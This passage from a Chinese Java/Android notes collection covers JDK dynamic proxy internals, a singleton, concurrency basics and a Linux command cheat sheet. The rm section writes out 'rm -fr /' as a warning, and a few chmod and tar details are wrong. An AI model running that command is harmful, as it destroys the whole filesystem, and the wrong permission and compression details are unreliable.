Proxy.newProxyInstance(target.getClass().getClassLoader(),    \n                target.getClass().getInterfaces(), this);\n    }    \n\n\t@Override    \n    /** \n     * 同过代理对象调用方法首先进入这个方法. \n     * @param proxy --代理对象 \n     * @param method -- 方法,被调用方法. \n     * @param args -- 方法的参数 \n     */  \n    public Object invoke(Object proxy , Method method, Object[] args) throws Throwable {    \n        System.err.println(\"############我是JDK动态代理################\");  \n        Object result = null;    \n        //反射方法前调用  \n        System.err.println(\"我准备说hello。\");    \n        //反射执行方法  相当于调用target.sayHelllo;  \n        result=method.invoke(target, args);  \n        //反射方法后调用.  \n        System.err.println(\"我说过hello了\");    \n        return result;    \n    }    \n} \n``` \n\n其中，`bind`方法中的`newProxyInstance()`方法，就是生成一个代理对象，第一个参数是类加载器，第二个参数是真实委托对象所实现的的接口（代理对象挂在那个接口下），第三个参数`this`代表当前`HelloServiceProxy`类，换句话说是使用`HelloServiceProxy`作为对象的代理。\n\n`invoke()`方法有三个参数:第一个`proxy`是代理对象，第二个是当前调用那个方法，第三个是方法的参数。\n\n```java\npublic class ProxyTest {  \n\n    public static void main(String[] args) {   \n        HelloServiceProxy proxy = new HelloServiceProxy();  \n        HelloService service = new HelloServiceImpl();  \n        //绑定代理对象。  \n        service = (HelloService) proxy.bind(service, new Class[] {HelloService.class});  \n        //这里service经过绑定，就会进入invoke方法里面了。  \n        service.sayHello(\"张三\");  \n    }  \n}  \n```\n\n\n源码跟踪\n---\n\n- `Proxy`类 \n\n```java\n// 映射表：用于维护类装载器对象到其对应的代理类缓存\nprivate static Map loaderToCache = new WeakHashMap(); \n\n// 标记：用于标记一个动态代理类正在被创建中\nprivate static Object pendingGenerationMarker = new Object(); \n\n// 同步表：记录已经被创建的动态代理类类型，主要被方法 isProxyClass 进行相关的判断\nprivate static Map proxyClasses = Collections.synchronizedMap(new WeakHashMap()); \n\n// 关联的调用处理器引用\nprotected InvocationHandler h;\n\npublic static Object newProxyInstance(ClassLoader loader, \n            Class<?>[] interfaces, \n            InvocationHandler h) \n            throws IllegalArgumentException { \n\n    // 检查 h 不为空，否则抛异常\n    if (h == null) { \n        throw new NullPointerException(); \n    } \n\n    // 获得与制定类装载器和一组接口相关的代理类类型对象\n    /*\n     * Look up or generate the designated proxy class.\n     */\n        Class<?> cl = getProxyClass0(loader, interfaces); \n\n    // 通过反射获取构造函数对象并生成代理类实例\n    /*\n     * Invoke its constructor with the designated invocation handler.\n     */\n    try {\n            final Constructor<?> cons = cl.getConstructor(constructorParams);\n            final InvocationHandler ih = h;\n            SecurityManager sm = System.getSecurityManager();\n            if (sm != null && ProxyAccessHelper.needsNewInstanceCheck(cl)) {\n                // create proxy instance with doPrivilege as the proxy class may\n                // implement non-public interfaces that requires a special permission\n                return AccessController.doPrivileged(new PrivilegedAction<Object>() {\n                    public Object run() {\n                        return newInstance(cons, ih);\n                    }\n                });\n            } else {\n                return newInstance(cons, ih);\n            }\n    } catch (NoSuchMethodException e) {\n        throw new InternalError(e.toString());\n    } \n}\n\nprivate static Object newInstance(Constructor<?> cons, InvocationHandler h) {\n    try {\n        return cons.newInstance(new Object[] {h} );\n    } catch (IllegalAccessException e) {\n        throw new InternalError(e.toString());\n    } catch (InstantiationException e) {\n        throw new InternalError(e.toString());\n    } catch (InvocationTargetException e) {\n        Throwable t = e.getCause();\n        if (t instanceof RuntimeException) {\n            throw (RuntimeException) t;\n        } else {\n            throw new InternalError(t.toString());\n        }\n    }\n}\n```\n\n动态代理真正的关键是在`getProxyClass()`方法，该方法主要分为四个步骤:   \n\n- 对这组接口进行一定程度的安全检查 \n检查接口类对象是否对类装载器可见并且与类装载器所能识别的接口类对象是完全相同的，还会检查确保是`interface`类型而不是`class`类型。\n\n- 从`loaderToCache()`映射表中获取以类装载器对象为关键字所对应的缓存表，如果不存在就创建一个新的缓存表并更新到`loaderToCache()`。`loaderToCache()`存放键值对(接口名字列表，动态生成的代理类的类对象引用)。当代理类正在被创建时它会临时保存(接口名字列表`pendingGenerationMarker`）。标记`pendingGenerationMarke()`的作用是通知后续的同类请求（接口数组相同且组内接口排列顺序也相同）代理类正在被创建，请保持等待直至创建完成。     \n\n```java\n/*\n * Find or create the proxy class cache for the class loader.\n */\nMap cache;\nsynchronized (loaderToCache) {\n    cache = (Map) loaderToCache.get(loader);\n    if (cache == null) {\n    cache = new HashMap();\n    loaderToCache.put(loader, cache);\n    }\n }\n。。。。。\ndo { \n    // 以接口名字列表作为关键字获得对应 cache 值\n    Object value = cache.get(key); \n    if (value instanceof Reference) { \n        proxyClass = (Class) ((Reference) value).get(); \n    } \n    if (proxyClass != null) { \n        // 如果已经创建，直接返回\n        return proxyClass; \n    } else if (value == pendingGenerationMarker) { \n        // 代理类正在被创建，保持等待\n        try { \n            cache.wait(); \n        } catch (InterruptedException e) { \n        } \n        // 等待被唤醒，继续循环并通过二次检查以确保创建完成，否则重新等待\n        continue; \n    } else { \n        // 标记代理类正在被创建\n        cache.put(key, pendingGenerationMarker); \n        // break 跳出循环已进入创建过程\n        break; \n} while (true);\n```\n\n- 动态创建代理类的`class`对象\n\n```java\n/**\n * Choose a name for the proxy class to generate.\n */\nlong num;\nsynchronized (nextUniqueNumberLock) {\n    num = nextUniqueNumber++;\n}\nString proxyName = proxyPkg + proxyClassNamePrefix + num;\n/*\n * Verify that the class loader hasn't already\n * defined a class with the chosen name.\n */\n\n// 动态地生成代理类的字节码数组\nbyte[] proxyClassFile = ProxyGenerator.generateProxyClass(\n    proxyName, interfaces);\ntry {\n// 动态地定义新生成的代理类\n    proxyClass = defineClass0(loader, proxyName,\n    proxyClassFile, 0, proxyClassFile.length);\n} catch (ClassFormatError e) {\n    /*\n     * A ClassFormatError here means that (barring bugs in the\n     * proxy class generation code) there was some other\n     * invalid aspect of the arguments supplied to the proxy\n     * class creation (such as virtual machine limitations\n     * exceeded).\n     */\n    throw new IllegalArgumentException(e.toString());\n}\n// 把生成的代理类的类对象记录进 proxyClasses 表\nproxyClasses.put(proxyClass, null);      \n```\n首先根据规则(接口`public`与否)，生成代理类的名称，`$ProxyN`格式，然后动态生成代理类。 \n所有的代码生成的工作都由`ProxyGenerator`所完成了，该类在`rt.jar`中，需要反编译。   \n\n```java\npublic static byte[] generateProxyClass(final String name,  \n                                           Class[] interfaces) {  \n   ProxyGenerator gen = new ProxyGenerator(name, interfaces);  \n// 这里动态生成代理类的字节码，由于比较复杂就不进去看了  \n   final byte[] classFile = gen.generateClassFile();  \n\n// 如果saveGeneratedFiles的值为true，则会把所生成的代理类的字节码保存到硬盘上  \n   if (saveGeneratedFiles) {  \n       java.security.AccessController.doPrivileged(  \n       new java.security.PrivilegedAction<Void>() {  \n           public Void run() {  \n               try {  \n                   FileOutputStream file =  \n                       new FileOutputStream(dotToSlash(name) + \".class\");  \n                   file.write(classFile);  \n                   file.close();  \n                   return null;  \n               } catch (IOException e) {  \n                   throw new InternalError(  \n                       \"I/O exception saving generated file: \" + e);  \n               }  \n           }  \n       });  \n   }  \n\n// 返回代理类的字节码  \n   return classFile;  \n}\n```\n\n- 代码生成过程进入结尾部分，根据结果更新缓存表，如果成功则将代理类的类对象引用更新进缓存表，否则清楚缓存表中对应关键值，最后唤醒所有可能的正在等待的线程。\n\n```java\nfinally {\n\t/*\n\t * We must clean up the \"pending generation\" state of the proxy\n\t * class cache entry somehow.  If a proxy class was successfully\n\t * generated, store it in the cache (with a weak reference);\n\t * otherwise, remove the reserved entry.  In all cases, notify\n\t * all waiters on reserved entries in this cache.\n\t */\n\tsynchronized (cache) {\n\tif (proxyClass != null) {\n\t    cache.put(key, new WeakReference(proxyClass));\n\t} else {\n\t    cache.remove(key);\n\t}\n\tcache.notifyAll();\n\t}\n}\nreturn proxyClass;\n```\n\n`JDK`是动态生成代理类，并通过调用解析器，执行接口实现的方法的原理已经一目了然。动态代理加上反射，是很多框架的基础。\n比如`Spring`的`AOP`机制，自定义前置后置通知等控制策略，以及`mybatis`中的运用反射和动态代理来实现插件技术等等。\n\n\n- [Proxy源码](http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/6-b14/java/lang/reflect/Proxy.java)\n\n\n\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/单例的最佳实现方式.md",
    "content": "单例的最佳实现方式\n===\n\n```java\npublic class Singleton {\n\t// Private constructor prevents instantiation from other classes\n\tprivate Singleton() { }\n\n\t/**\n\t* SingletonHolder is loaded on the first execution of Singleton.getInstance() \n\t* or the first access to SingletonHolder.INSTANCE, not before.\n\t*/\n\tprivate static class SingletonHolder { \n\t\t\tpublic static final Singleton INSTANCE = new Singleton();\n\t}\n\n\tpublic static Singleton getInstance() {\n\t\t\treturn SingletonHolder.INSTANCE;\n\t}\n}\n```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/原子性、可见性以及有序性.md",
    "content": "原子性、可见性以及有序性\n===\n\n- 原子性:\n    众所周知，原子是构成物质的基本单位，所以原子代表着不可分。\n\t即一个操作或者多个操作 要么全部执行并且执行的过程不会被任何因素打断，要么就都不执行。\n    最简单的一个例子就是银行转账问题，赋值或者`return`。比如`a = 1;`和 `return a;`这样的操作都具有原子性\n    原子性不论是多核还是单核，具有原子性的量，同一时刻只能有一个线程来对它进行操作！\n\t加锁可以保证复合语句的原子性，`sychronized`可以保证多条语句在`synchronized`块中语意上是原子的。\n\n- 可见性:     \n    在多核处理器中，如果多个线程对一个变量进行操作，但是这多个线程有可能被分配到多个处理器中运行，那么编译器会对代码进行优化，当线程要处理该变量时，\n\t多个处理器会将变量从主内存复制一份分别存储在自己的片上存储器中，等到进行完操作后，再赋值回主存。\n\t(这样做的好处是提高了运行的速度，因为在处理过程中多个处理器减少了同主内存通信的次数)；同样在单核处理器中这样由于备份造成的问题同样存在！\n    这样的优化带来的问题之一是变量可见性——如果线程`t1`与线程`t2`分别被安排在了不同的处理器上面，那么`t1`与`t2`对于变量`A`的修改时相互不可见，如果`t1`给`A`赋值，然后`t2`又赋新值，那么`t2`的操作就将`t1`的操作覆盖掉了，\n\t这样会产生不可预料的结果。所以，即使有些操作时原子性的，但是如果不具有可见性，那么多个处理器中备份的存在就会使原子性失去意义。\n\t\n- 非原子性操作\n    类似`a += b`这样的操作不具有原子性，在某些`JVM`中`a += b`可能要经过这样三个步骤: \n\n    - 取出`a`和`b`        \n    - 计算`a+b`        \n\t- 将计算结果写入内存       \n    如果有两个线程`t1`,`t2`在进行这样的操作。`t1`在第二步做完之后还没来得及把数据写回内存就被线程调度器中断了，于是`t2`开始执行，`t2`执行完毕后`t1`又把没有完成的第三步做完。这个时候就出现了错误，\n\t相当于`t2`的计算结果被无视掉了。所以上面的买碘片例子在同步`add`方法之前，实际结果总是小于预期结果的，因为很多操作都被无视掉了。                       \n    类似的，像`a++`这样的操作也都不具有原子性。所以在多线程的环境下一定要记得进行同步操作。   \n\t\n-  有序性\n    有序性：即程序执行的顺序按照代码的先后顺序执行。\n    ```java\n\tint i = 0;              \n\tboolean flag = false;\n\ti = 1;                //语句1  \n\tflag = true;          //语句2\n    ```\t\n\t上面代码定义了一个`int`型变量，定义了一个`boolean`类型变量，然后分别对两个变量进行赋值操作。从代码顺序上看，语句1是在语句2前面的，那么`JVM`在真正执行这段代码的时候会保证语句1一定会在语句2前面执行吗？\n\t不一定，为什么呢？这里可能会发生指令重排序`(Instruction Reorder)`。                      \n　　下面解释一下什么是指令重排序，一般来说，处理器为了提高程序运行效率，可能会对输入代码进行优化，它不保证程序中各个语句的执行先后顺序同代码中的顺序一致，但是它会保证程序最终执行结果和代码顺序执行的结果是一致的。\n　　比如上面的代码中，语句1和语句2谁先执行对最终的程序结果并没有影响，那么就有可能在执行过程中，语句2先执行而语句1后执行。                      \n　　但是要注意，虽然处理器会对指令进行重排序，但是它会保证程序最终结果会和代码顺序执行结果相同，那么它靠什么保证的呢？             \n    再看下面一个例子:                \n\t```java\n\tint a = 10;    //语句1\n\tint r = 2;    //语句2\n\ta = a + 3;    //语句3\n\tr = a*a;     //语句4\n\t```\n\t这段代码有4个语句，那么可能的一个执行顺序是:     \n\t语句2->语句1->语句3->语句4\n\t那么可能不可能是这个执行顺序呢？语句2->语句1->语句4->语句3，这是不可能的，因为处理器在进行重排序时是会考虑指令之间的数据依赖性，\n\t如果一个指令`Instruction 2`必须用到`Instruction 1`的结果，那么处理器会保证`Instruction 1`会在`Instruction 2`之前执行。\n\t\n\t虽然重排序不会影响单个线程内程序执行的结果，但是多线程呢？下面看一个例子：\n\t```java\n\t//线程1:\n\tcontext = loadContext();   //语句1\n\tinited = true;             //语句2\n\t \n\t//线程2:\n\twhile(!inited ){\n\t  sleep()\n\t}\n\tdoSomethingwithconfig(context);\n\t```\n    上面代码中，由于语句1和语句2没有数据依赖性，因此可能会被重排序。假如发生了重排序，在线程1执行过程中先执行语句2，而此时线程2会以为初始化工作已经完成，\n\t那么就会跳出`while`循环，去执行`doSomethingwithconfig(context)`方法，而此时`context`并没有被初始化，就会导致程序出错。\n    从上面可以看出，指令重排序不会影响单个线程的执行，但是会影响到线程并发执行的正确性。\n　　也就是说，要想并发程序正确地执行，必须要保证原子性、可见性以及有序性。只要有一个没有被保证，就有可能会导致程序运行不正确。\n\n---\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\t\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/常用命令行大全.md",
    "content": "常用命令行大全\n===\n\n\n文件目录操作命令\n---\n\n- `ls`\n\n    `ls`命令是`linux`下最常用的命令。`ls`命令就是`list`的缩写，默认情况下使用`ls`用来打印出当前目录的列表，如果`ls`指定其他目录，\n    那么就会显示指定目录里的文件及文件夹列表。 通过`ls`命令不仅可以查看`linux`文件夹包含的文件，而且可以查看文件权限(包括目录、文件夹、文件权限)，\n    查看目录信息等等。`ls`命令在日常的`linux`操作中使用得比较多了。\n    \n    命令格式:   \n    `ls [选项] [目录名]`\n    \n    命令功能:    \n    列出目标目录中所有的子目录和文件。\n    \n    常用参:     \n    \n    - `-a`:`–all`列出目录下的所有文件，包括以`.`开头的隐含文件。\n    - `-A`同`-a`，但不列出“.”(表示当前目录)和“..”(表示当前目录的父目录)。\n    - `-c` 配合 `-lt`:根据`ctime`排序及显示`ctime`(文件状态最后更改的时间)配合`-l:`显示`ctime`但根据名称排序否则:根据`ctime`排序\n    - `-l` 除了文件名之外，还将文件的权限、所有者、文件大小等信息详细列出来。\n    - `-s`，`–size`以块大小为单位列出所有文件的大小\n    - `-S`根据文件大小排序\n    - `-t` 以文件修改时间排序\n    - `-X` 根据扩展名排序\n    - `-1` 每行只列出一个文件\n    - `–help` 显示此帮助信息并离开\n    - `–version` 显示版本信息并离开\n    \n    列出`/home/yiibai`文件夹下的所有文件和目录的详细资料，命令:   \n    ```\n    ls -l -R /home/yiibai\n    ```\n    \n    列出当前目录中所有以`t`开头的目录的详细内容，可以使用如下命令:\n    ```\n    ls -l t*\n    ```\n\n- `cd`\n    \n    格式:   \n    `cd [目录名]`\n\n    切换当前目录至`dirName`\n\n    进入系统根目录`cd /`\n\n    使用`cd`命令进入当前用户主目录\n    “当前用户主目录”和“系统根目录”是两个不同的概念。进入当前用户主目录有两个方法。\n    ```\n    cd ~\n    ```\n\n- `pwd`\n\n    查看”当前工作目录“的完整路径\n\n\n - 创建文件夹               \n\n    `mkdir test`\n\n    递归创建多个目录或一次创建多级目录:   \n    ```        \n    mkdir -p dir01/dir001\n    ```\n\n    创建权限为777的目录:   \n    ```\n    mkdir -m 777 test3\n    ```\n\n- 删除文件       \n\n    该命令的功能为删除一个目录中的一个或多个文件或目录，它也可以将某个目录及其下的所有文件及子目录均删除。\n    `rm xxx.txt`                     \n    `rm -rf file// -fr表示递归和强制，一定要小心使用 rm -fr / 那你的电脑就over了`\n    \n    - `-f`,`--force`忽略不存在的文件，从不给出提示。    \n    - `-i`,`--interactive`进行交互式删除    \n    - `-r`,`-R`,`--recursive`指示`rm`将参数中列出的全部目录和子目录均递归地删除。   \n\n- `rmdir`\n\n     该命令的功能是删除空目录，一个目录被删除之前必须是空的。删除某目录时也必须具有对父目录的写权限。\n\n- `mv`\n\n    `mv`命令是`move`的缩写，可以用来移动文件或者将文件改名`(move (rename) files)`，是`Linux`系统下常用的命令，经常用来备份文件或者目录。     \n\n    ```\n    mv [选项] 源文件或目录 目标文件或目录\n    ```\n\n    `mv`命令中第二个参数类型的不同(是目标文件还是目标目录)，`mv`命令将文件重命名或将其移至一个新的目录中。\n    当第二个参数类型是文件时，`mv`命令完成文件重命名，此时，源文件只能有一个(也可以是源目录名)，\n    它将所给的源文件或目录重命名为给定的目标文件名。当第二个参数是已存在的目录名称时，\n    源文件或目录参数可以有多个，`mv`命令将各参数指定的源文件均移至目标目录中。在跨文件系统移动文件时，\n    `mv`先拷贝，再将原有文件删除，而链至该文件的链接也将丢失。\n\n    文件改名:     \n    ```\n    mv test.log new-test.log\n    ```\n\n    移动文件:    \n    ```\n    mv test1.txt test3\n    ```\n\n- `touch`\n\n    `linux`中的`touch`命令不常用，一般用来修改文件时间戳，或者新建一个不存在的文件。\n\n    创建不存在的文件，用法如下所示:   \n    ```\n    touch log1.log log2.log\n    ```\n\n    \n- `cat`\n\n    查看文本内容:`cat xxx.txt`\n    \n    `cat`主要有三大功能:   \n\n    - 一次显示整个文件`cat filename`\n    - 从键盘创建一个文件`cat > filename`只能创建新文件,不能编辑已有文件.\n    - 将几个文件合并为一个文件`cat file1 file2 > file`\n    命令参数:     \n    \n    - `-A`,`--show-all`等价于`-vET`\n    - `-b`,`--number-nonblank`对非空输出行编号\n    - `-e`等价于`-vE`   \n    - `-E`,`--show-ends`在每行结束处显示`$`\n    - `-n`,`--number`对输出的所有行编号,由1开始对所有输出的行数编号\n    - `-s`,`--squeeze-blank`有连续两行以上的空白行，就代换为一行的空白行\n    - `-t`与`-vT`等价\n    - `-T`,`--show-tabs`将跳格字符显示为`^I`\n        \n    - 拷贝           \n        `cp -R 源文件  目标文件// -R 表示对目录进行递归操作`\n\n    \n- `cp`   \n\n    `cp`命令用来复制文件或者目录，是`Linux`系统中最常用的命令之一。\n    \n    用法:   \n    ```\n    cp [选项]... [-T] 源 目的\n    或：\n    cp [选项]... 源... 目录\n    或：\n    cp [选项]... -t 目录 源...\n    ```\n    \n    复制单个文件到目标目录，文件在目标文件中不存在,如果目标文件存在时，会询问是否覆盖:    \n    ```\n    cp log.log logs\n    ```\n\n\n- `tar`  \n\n    在维护配置服务器时，难免会要用到压缩，解压缩，打包，解包等，这时候`tar`命令就是是必不可少的一个功能强大的工具。\n    `linux`中最流行的`tar`是麻雀虽小，五脏俱全，功能强大。\n\n    首先要弄清两个概念：打包和压缩。打包是指将一大堆文件或目录变成一个总的文件；压缩则是将一个大的文件通过一些压缩算法变成一个小文件。\n\n    为什么要区分这两个概念呢？这源于`Linux`中很多压缩程序只能针对一个文件进行压缩，\n    这样当你想要压缩一大堆文件时，你得先将这一大堆文件先打成一个包(`tar`命令)，然后再用压缩程序进行压缩(`gzip, bzip2`命令)。\n\n    `linux`下最常用的打包程序就是`tar`了，使用`tar`程序打出来的包我们常称为`tar`包，`tar`包文件的命令通常都是以`.tar`结尾的。\n    生成`tar`包后，就可以用其它的程序来进行压缩。\n\n    格式:   \n    ```\n    tar[必要参数][选择参数][文件]\n    ```\n    命令功能;   \n    \n    用来压缩和解压文件。tar本身不具有压缩功能，它是调用压缩功能实现的。\n        \n    必要参数有如下：\n\n    - `-A`:新增压缩文件到已存在的压缩\n    - `-B`:设置区块大小\n    - `-c`:建立新的压缩文件\n    - `-d`:记录文件的差别\n    - `-r`:添加文件到已经压缩的文件\n    - `-u`:添加改变了和现有的文件到已经存在的压缩文件\n    - `-x`:从压缩的文件中提取文件\n    - `-t`:显示压缩文件的内容\n    - `-z`:支持gzip解压文件\n    - `-j`:支持bzip2解压文件\n    - `-k`:保留原有文件不覆盖\n    - `-m`:保留文件不被覆盖\n    \n    可选参数如下:   \n    \n    - `-b`:设置区块数目\n    - `-C`:切换到指定目录\n    - `-f`:指定压缩文件\n    - `--help`:显示帮助信息\n    - `--version`:显示版本信息\n    \n    \n- 常见解压/压缩命令\n\n    `tar`文件格式:   \n    ```\n    解包：tar xvf FileName.tar\n    打包：tar cvf FileName.tar DirName\n    (注：tar是打包，不是压缩！)\n    ```\n    \n    `.gz`文件格式:   \n    \n    ```\n    解压1：gunzip FileName.gz\n    解压2：gzip -d FileName.gz\n    压缩：gzip FileName\n    ```\n    \n    `.tar.gz`和`.tgz`:   \n    ```\n    解压：tar zxvf FileName.tar.gz\n    压缩：tar zcvf FileName.tar.gz DirName\n    ```\n    \n    `.bz2`文件格式:  \n    ```\n    解压1：bzip2 -d FileName.bz2\n    解压2：bunzip2 FileName.bz2\n    压缩： bzip2 -z FileName\n    ```\n    \n    `.tar.bz2`文件格式:   \n    ```\n    解压：tar jxvf FileName.tar.bz2\n    压缩：tar jcvf FileName.tar.bz2 DirName\n    ```\n    \n    `.bz`文件格式:    \n    ```\n    解压1：bzip2 -d FileName.bz\n    解压2：bunzip2 FileName.bz\n    压缩：未知\n    ```\n    \n    `.tar.bz`文件格式:    \n    ```\n    解压：tar jxvf FileName.tar.bz\n    压缩：未知\n    ```\n    \n    `.Z`文件格式:    \n    ```\n    解压：uncompress FileName.Z\n    压缩：compress FileName\n    ```\n    \n    `.tar.Z`文件格式:    \n    ```\n    解压：tar Zxvf FileName.tar.Z\n    压缩：tar Zcvf FileName.tar.Z DirName\n    ```\n    \n    `.zip`文件格式:   \n    ```\n    解压：unzip FileName.zip\n    压缩：zip FileName.zip DirName\n    ```\n    \n    `.rar`:   \n    ```\n    解压：rar x FileName.rar\n    压缩：rar a FileName.rar DirName\n    ```\n    \n    将文件全部打包成`tar`包:    \n    ```\n    tar -cvf log1.tar log1.log\n    tar -zcvf log2.tar.gz log2.log\n    tar -jcvf log3.tar.bz2 log3.log\n    ```\n    \n    ```\n    tar -cvf log1.tar log1.log 仅打包，不压缩！\n    tar -zcvf log2.tar.gz log2.log 打包后，以 gzip 压缩\n    tar -zcvf log.tar.bz2 log3.log 打包后，以 bzip2 压缩\n    在参数 f 之后的文件档名是自己取的，我们习惯上都用 .tar 来作为辨识。 如果加 z 参数，则以 .tar.gz 或 .tgz 来代表 gzip 压缩过的 tar 包； 如果加 j 参数，则以 .tar.bz2 来作为tar包名。\n    ```\n\n\n- `gzip`\n\n    `gzip`是在`Linux`系统中经常使用的一个对文件进行压缩和解压缩的命令，既方便又好用。\n    `gzip`不仅可以用来压缩大的、较少使用的文件以节省磁盘空间，还可以和`tar`命令一起构成`Linux`操作系统中比较流行的压缩文件格式。\n    据统计，`gzip`命令对文本文件有60%～70%的压缩率。\n\n    格式:   \n    ```\n    gzip[参数][文件或者目录]\n    ```\n    \n    功能:   \n    `gzip`是个使用广泛的压缩程序，文件经它压缩过后，其名称后面会多出`.gz`的扩展名。\n    \n    命令参数:   \n    \n    - `-a`或`--ascii`使用`ASCII`文字模式。\n    - `-c`或`--stdout`或`--to-stdout`:把压缩后的文件输出到标准输出设备，不去更动原始文件。\n    - `-d`或`--decompress`或`----uncompress`:解开压缩文件。\n    - `-f`或`--force`:强行压缩文件。不理会文件名称或硬连接是否存在以及该文件是否为符号连接。\n    - `-N`或`--name`:压缩文件时，保存原来的文件名称及时间戳记。\n    - `-r`或`--recursive`:递归处理，将指定目录下的所有文件及子目录一并处理。\n    \n    把目录下的每个文件压缩成`.gz`文件:   \n    \n    ```\n    gzip *\n    ```\n    \n    把例1中每个压缩的文件解压，并列出详细的信息:   \n    ```\n    gzip -dv *\n    ```\n\n\n文件查找\n---\n\n- `whereis`      \n\n    `whereis`命令只能用于程序名的搜索，而且只搜索二进制文件(参数`-b`)、`man`说明文件(参数`-m`)和源代码文件(参数`-s`)。\n    如果省略参数，则返回所有信息。和`find`相比，`whereis`查找的速度非常快，这是因为`linux`系统会将系统内的所有文件都记录在一个数据库文件中，\n    当使用`whereis`和下面即将介绍的locate时，会从数据库中查找数据，而不是像find命令那样，通 过遍历硬盘来查找，效率自然会很高。\n\n    格式:    \n    ```\n    whereis [-bmsu] [BMS 目录名 -f ] 文件名\n    ```\n    \n    将和xx文件相关的文件都查找出来:    \n    ```\n    whereis python\n    ```\n\n\n- `find`\n\n    `Linux`下`find`命令提供了相当多的查找条件，功能很强大。\n\n    格式:    \n    ```\n    find pathname -options [-print -exec -ok ...]\n    ```\n    \n    功能:    \n    \n    用于在文件树种查找文件，并作出相应的处理\n    \n    命令参数:   \n    \n    - `pathname`:`find`命令所查找的目录路径。例如用.来表示当前目录，用/来表示系统根目录。\n    \n    命令选项:    \n    \n    - `-name`按照文件名查找文件。\n    - `-perm`按照文件权限来查找文件。。\n    - `-mtime`:`-n +n`按照文件的更改时间来查找文件，`- n`表示文件更改时间距现在`n`天以内，+ n表示文件更改时间距现在n天以前\n    - `-type`:查找某一类型的文件，诸如：\n    \n        - `b` - 块设备文件。\n        - `d` - 目录。\n        - `c` - 字符设备文件。\n        - `p` - 管道文件。\n        - `l` - 符号链接文件。\n        - `f` - 普通文件。\n    \n    根据关键字查找:     \n    ```\n    find . -name \"*.log\"\n    ```\n\n\n#### 使用`-name`选项\n\n文件名选项是`find`命令最常用的选项，要么单独使用该选项，要么和其他选项一起使用。 \n可以使用某种文件名模式来匹配文件，记住要用引号将文件名模式引起来。不管当前路径是什么，\n如果想要在自己的根目录$HOME中查找文件名符合`*.log`的文件，使用~作为`pathname`参数，波浪号`~`代表了当前用户的`$HOME`目录。\n```\nfind ~ -name \"*.log\" -print\n```\n想要在当前目录及子目录中查找所有的‘ *.log‘文件，可以用:     \n```\nfind . -name \"*.log\" -print\n```\n想要的当前目录及子目录中查找文件名以一个大写字母开头的文件，可以用:    \n```\nfind . -name \"[A-Z]*\" -print\n```\n想要在/etc目录中查找文件名以host开头的文件，可以用:     \n```\nfind /etc -name \"host*\" -print\n```\n想要查找`$HOME`目录中的文件，可以用:   \n```\nfind ~ -name \"*\" -print 或find . -print\n```\n\n权限设置\n--- \n\n\n- `chmod`   \n\n命令格式:    \n```\nchmod [-cfvR] [—help] [—version] mode file\n```\n\n命令功能:    \n用于改变文件或目录的访问权限，用它控制文件或目录的访问权限。\n\n必要参数:    \n\n- `-c`:当发生改变时，报告处理信息\n- `-f`:错误信息不输出\n- `-R`:处理指定目录以及其子目录下的所有文件\n\n权限代号:    \n\n- `r`:读权限，用数字4表示\n- `w`:写权限，用数字2表示\n- `x`:执行权限，用数字1表示\n- `-`:删除权限，用数字0表示\n- `s`:特殊权限\n- \n\n文字设定法:\n```\nchmod ［who］ ［+ | - | =］ ［mode］ 文件名\n```\n\n我们必须首先了解用数字表示的属性的含义：0表示没有权限，1表示可执行权限，2表示可写权限，4表示可读权限，然后将其相加。所以数字属性的格式应为3个从0到7的八进制数，其顺序是(u)(g)(o)。\n例如，如果想让某个文件的属主有“读/写”二种权限，需要把4(可读)+2(可写)＝6(读/写)。\n数字设定法的一般形式为:   \n`chmod ［mode］ 文件名`\n\n数字与字符对应关系如下:   \n\n`r=4，w=2，x=1`      \n- 若要`rwx`属性则4+2+1=7\n- 若要`rw-`属性则4+2=6；\n- 若要`r-x`属性则4+1=7。\n\n\n如:   \n```\nchmod 751 file\n```\n\n\n性能监控和优化命令\n---\n\n- `top`\n\n    `top`命令是`Linux`下常用的性能分析工具，能够实时显示系统中各个进程的资源占用状况，类似于`Windows`的任务管理器。\n\n格式:    \n ```\ntop [参数]\n ```\n\n- `ifconfig`\n\n许多`windows`非常熟悉`ipconfig`命令行工具，它被用来获取网络接口配置信息并对此进行修改。`Linux`系统拥有一个类似的工具，\n也就是`ifconfig`(`interfaces config`)。通常需要以`root`身份登录或使用`sudo`以便在`Linux`机器上使用`ifconfig`工具。\n\n\n格式:    \n```\nifconfig [网络设备] [参数] \n```\n\n- `ping`\n\n`linux`下的`ping`命令和`windows`下的`ping`执行稍有区别,`linux`下`ping`不会自动终止,需要按`ctrl+c`终止或者用参数`-c`指定要求完成的回应次数。\n\n\n    \n- 清除命令行内容          \n    `clear`\n    \n- 显示当前日期          \n    `date`\n    \n- 关机                       \n    `sudo shutdown -h now`// -h 是关闭电源 now立即关机            \n    `sudo shutdown -r now`//重启          \n    `sudo shutdown -h -time 60`// 表示60分钟后关机，注意单位是分钟      \n    \n\n\n\n    \n\n        \n----\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n    \n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/常见算法.md",
    "content": "常见算法\n===\n\n算法（Algorithm）是一系列解决问题的清晰指令，也就是说，能够对一定规范的输入，在有限时间内获得所要求的输出。如果一个算法有缺陷，或不适合于某个问题，\n执行这个算法将不会解决这个问题。不同的算法可能用不同的时间、空间或效率来完成同样的任务。一个算法的优劣可以用空间复杂度与时间复杂度来衡量。         \n算法可以理解为有基本运算及规定的运算顺序所构成的完整的解题步骤。或者看成按照要求设计好的有限的确切的计算序列，并且这样的步骤和序列可以解决一类问题。\n```java\n/**\n * 1到100所有素数的和\n * 素数就是只能够被1和自身整除的数\n */\npublic class dd {\n    public static void main(String[] args) {\n        int i = 2; // i 即为所求素数\n        System.out.println(\"i= \" + i);\n        for (i = 3; i <= 100; i = i + 2) {\n            boolean f = true;\n            Label: for (int j = 2; j < i; j++) {\n                if (i % j == 0) { // if(true)时，i为非素数\n                    f = false;\n                    break Label; // 加了Label貌似只是起到提高效率\n                }\n            }\n            if (f) {// 当f=true时，i为素数。\n                System.out.println(\"i= \" + i);\n            }\n        }\n    }\n}\n\n/**\n 